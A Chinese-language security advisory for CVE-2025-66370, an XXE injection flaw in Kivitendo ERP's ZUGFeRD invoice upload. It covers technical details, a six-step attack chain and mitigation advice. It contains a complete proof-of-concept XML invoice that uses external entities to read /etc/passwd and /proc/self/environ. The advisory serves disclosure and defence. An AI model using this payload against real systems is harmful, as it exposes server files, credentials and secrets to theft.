IPBUF安全漏洞报告
English
CVE-2025-66370 CVSS 5.0 中危

CVE-2025-66370 Kivitendo ERP XXE注入漏洞可读取服务器文件

披露日期: 2025-11-28

漏洞信息

漏洞编号
CVE-2025-66370
漏洞类型
XXE注入
CVSS评分
5.0 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Kivitendo ERP

相关标签

XXE注入XML外部实体Kivitendo ERPZUGFeRD电子发票文件读取CVE-2025-66370中危漏洞

漏洞概述

CVE-2025-66370是Kivitendo ERP系统中的一个XML外部实体(XXE)注入漏洞。该漏洞存在于3.9.2之前版本中,攻击者可以通过上传特制的ZUGFeRD格式电子发票来触发XXE攻击。ZUGFeRD是一种基于XML的电子发票标准格式,广泛应用于欧洲的发票处理系统。当Kivitendo ERP处理包含恶意XML实体引用的ZUGFeRD文件时,解析器会尝试加载外部实体,攻击者借此可以读取服务器上的任意文件,包括配置文件、密码文件、源代码等敏感信息。此漏洞的CVSS评分为5.0,属于中等严重程度,主要影响系统的机密性。攻击者需要具有低权限账户即可发起攻击,且无需用户交互。由于该漏洞利用简单且影响范围明确,建议相关用户尽快升级到最新版本或采取临时防护措施。

技术细节

该漏洞的根本原因在于Kivitendo ERP的XML解析器未正确禁用外部实体解析功能。在处理ZUGFeRD格式发票时,系统直接解析XML内容而未进行安全配置。攻击者可以构造包含<!ENTITY>定义的恶意XML文件,通过SYSTEM关键字引用本地文件路径(如file:///etc/passwd)或远程资源。当XML解析器处理这些实体引用时,会执行外部实体加载,从而将文件内容泄露到XML响应中。ZUGFeRD格式支持XMP元数据和XML数据结构,为攻击者提供了注入点。攻击者只需构造一个符合ZUGFeRD基本结构的XML文件,在其中嵌入XXE payload,然后通过发票上传功能提交即可。成功利用后可读取服务器上的配置文件、数据库凭证、应用源代码等敏感数据。建议通过禁用XML外部实体解析、使用安全的XML解析库、并对上传文件进行严格的白名单验证来修复此漏洞。

攻击链分析

STEP 1
步骤1
攻击者获取Kivitendo ERP系统的低权限账户访问权限
STEP 2
步骤2
攻击者构造包含XXE payload的恶意ZUGFeRD格式XML文件,嵌入外部实体引用指向目标文件路径
STEP 3
步骤3
通过系统的发票上传功能提交恶意ZUGFeRD文件
STEP 4
步骤4
Kivitendo ERP的XML解析器处理文件时,解析器加载外部实体并读取目标文件内容
STEP 5
步骤5
文件内容被嵌入到XML响应中,攻击者通过发票详情页面或错误信息获取泄露的数据
STEP 6
步骤6
攻击者利用获取的敏感信息(如数据库凭证、API密钥等)进行进一步攻击

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<?xml version="1.0" encoding="UTF-8"?> <!-- XXE PoC for CVE-2025-66370 - Kivitendo ZUGFeRD Invoice --> <!DOCTYPE invoice [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> <!ENTITY xxe2 SYSTEM "file:///proc/self/environ"> ]> <rsm:CrossIndustryInvoice xmlns:rsm="urn:un:unece:uncefact:data:standard:CrossIndustryInvoice:100p3" xmlns:ram="urn:un:unece:uncefact:data:standard:ReusableAggregateBusinessInformationEntity:100p3" xmlns:udt="urn:un:unece:uncefact:data:standard:UnqualifiedDataType:100p3"> <rsm:ExchangedDocumentContext> <ram:BusinessScenarioSpecifiedDocumentContextParameter> <ram:ID>urn:cen.eu:en16931:2017</ram:ID> </ram:BusinessScenarioSpecifiedDocumentContextParameter> </rsm:ExchangedDocumentContext> <rsm:ExchangedDocument> <ram:ID>&xxe;</ram:ID> <ram:Name>XXE Test Invoice</ram:Name> <ram:TypeCode>380</ram:TypeCode> <ram:IssueDateTime> <udt:DateTimeString format="102">20250101</udt:DateTimeString> </ram:IssueDateTime> </rsm:ExchangedDocument> <rsm:SupplyChainTradeTransaction> <ram:IncludedSupplyChainTradeLineItem> <ram:AssociatedDocumentLineDocument> <ram:LineID>&xxe2;</ram:LineID> </ram:AssociatedDocumentLineDocument> <ram:SpecifiedTradeProduct> <ram:Name>XXE Exfiltrated Data</ram:Name> </ram:SpecifiedTradeProduct> </ram:IncludedSupplyChainTradeLineItem> </rsm:SupplyChainTradeTransaction> </rsm:CrossIndustryInvoice>

影响范围

Kivitendo ERP < 3.9.2

防御指南

临时缓解措施
如果无法立即升级,可采取以下临时缓解措施:1) 禁用发票上传功能或限制为管理员专属;2) 在Web应用防火墙(WAF)中添加XXE防护规则;3) 限制XML解析权限,使用低权限账户运行应用;4) 监控和限制出站网络连接;5) 定期审计系统访问日志。注意:这些措施仅为临时解决方案,无法完全替代安全更新。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表